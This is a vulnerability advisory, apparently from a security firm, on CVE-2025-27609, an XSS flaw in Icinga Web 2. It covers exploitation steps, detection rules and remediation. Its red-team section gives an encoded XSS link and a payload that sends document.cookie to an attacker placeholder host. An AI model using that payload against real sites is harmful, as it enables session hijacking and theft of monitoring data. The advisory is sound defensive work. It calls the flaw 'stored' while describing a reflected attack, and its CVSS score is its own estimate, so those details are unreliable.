CVE-2025-27609

Executive Summary

CVE-2025-27609 is a stored cross-site scripting (XSS) vulnerability in Icinga Web 2, an open-source monitoring web interface. An unauthenticated attacker can craft a malicious request that, when transmitted to a victim’s Icinga Web instance, executes arbitrary JavaScript in the victim’s browser. This allows the attacker to perform actions on behalf of the victim, including modifying monitoring configurations, viewing sensitive data, or escalating privileges. The vulnerability affects all versions prior to 2.11.5 and 2.12.3. The official patch is available in versions 2.11.5 and 2.12.3. A workaround exists for version 2.12.2 by enabling a Content Security Policy (CSP) in the application settings. Modern browsers with a working CORS implementation also provide some mitigation.

Supply Chain & Package Security

Icinga Web 2 is distributed as a PHP application via GitHub and official package repositories (e.g., RPM, DEB). The vulnerability is introduced in the application’s own codebase, not in a third-party dependency. However, administrators should verify the integrity of downloaded packages using checksums provided by Icinga. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. Based on the description, a reasonable estimate is:

• Attack Vector (AV): Network (N) – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions are required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the victim must visit a crafted link or page.
• Scope (S): Changed (C) – the attacker can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – sensitive monitoring data can be exfiltrated.
• Integrity (I): High (H) – actions can be performed on behalf of the victim.
• Availability (A): Low (L) – the attack may disrupt the victim’s session.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.7 (High)

Deep Dive & Mechanics

The vulnerability resides in the way Icinga Web 2 handles user-supplied input in certain request parameters. When a victim clicks a crafted link or visits a malicious page, the attacker’s payload is embedded into the Icinga Web interface without proper sanitization. The payload is then executed in the victim’s browser context, allowing the attacker to:

• Steal session cookies.
• Perform actions on behalf of the victim (e.g., modify monitoring configurations, delete hosts, or create new users).
• Redirect the victim to malicious sites.
• Exfiltrate sensitive data displayed in the interface.

The attack does not require authentication, but it does require user interaction (the victim must click a link or visit a page). The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

The vulnerable code likely lacks proper output encoding or input validation for user-controlled parameters. The patch in versions 2.11.5 and 2.12.3 introduces context-aware escaping for all user-supplied data rendered in the web interface.

Vulnerable Code (Conceptual):

// Vulnerable: Directly echoes user input without escaping
echo "<div>" . $_GET['param'] . "</div>";

Patched Code (Conceptual):

// Patched: Uses proper escaping function
echo "<div>" . htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8') . "</div>";

The exact fix is available in the Icinga Web 2 repository on GitHub. Administrators should review the commit history for version 2.12.3.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Icinga Web 2 instance (version < 2.11.5 or < 2.12.3).
• A victim user who is logged into the Icinga Web interface.
• A crafted URL or page hosting the malicious payload.

Exploitation Steps:

1. Identify a vulnerable parameter in the Icinga Web interface (e.g., a search field or a URL parameter).
2. Craft a payload that executes JavaScript when rendered. Example:

   <script>alert('XSS')</script>
   

3. Encode the payload for URL transmission:

   https://victim-icinga.example.com/icingaweb2/search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
   

4. Send the crafted link to the victim via email, chat, or other means.
5. When the victim clicks the link, the JavaScript executes in their browser.

Advanced Payload (Session Hijacking):

fetch('https://attacker.example.com/steal?cookie=' + document.cookie);

Blue Team

Detection:

• Monitor web server logs for requests containing suspicious patterns (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for requests to Icinga Web endpoints with unusual parameters.
• Look for outbound connections from the Icinga Web server to unknown domains (potential data exfiltration).

Lab Setup:

1. Deploy a vulnerable Icinga Web 2 instance in an isolated environment.
2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
3. Simulate the attack by sending crafted requests and observing the response.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags or JavaScript event handlers in parameters.
  • Outbound connections to unknown IP addresses or domains from the Icinga Web server.
• File IOCs:
  • Modified Icinga Web configuration files (e.g., config.ini) containing malicious JavaScript.
• Log IOCs:
  • Web server logs showing requests with encoded XSS payloads.
  • Application logs showing unexpected user actions (e.g., configuration changes by non-admin users).

Detection Engineering

YARA Rule

rule CVE_2025_27609_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Icinga Web 2 CVE-2025-27609"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27609"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Icinga Web 2 XSS Attempt (CVE-2025-27609)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting Icinga Web 2
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27609 Icinga Web 2 XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Icinga Web 2 to version 2.11.5 or 2.12.3.
2. If running version 2.12.2, enable Content Security Policy (CSP) in the application settings.
3. Ensure modern browsers with CORS support are used.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Deploy a Web Application Firewall (WAF) with XSS protection rules.
• Conduct regular security audits and penetration testing.
• Monitor for unusual activity in Icinga Web logs.

Workaround: For version 2.12.2, navigate to Administration -> Application Settings -> Security and enable the Content Security Policy option. This will restrict script execution but may break some legitimate functionality.

Valters IT
Securing Digital Frontiers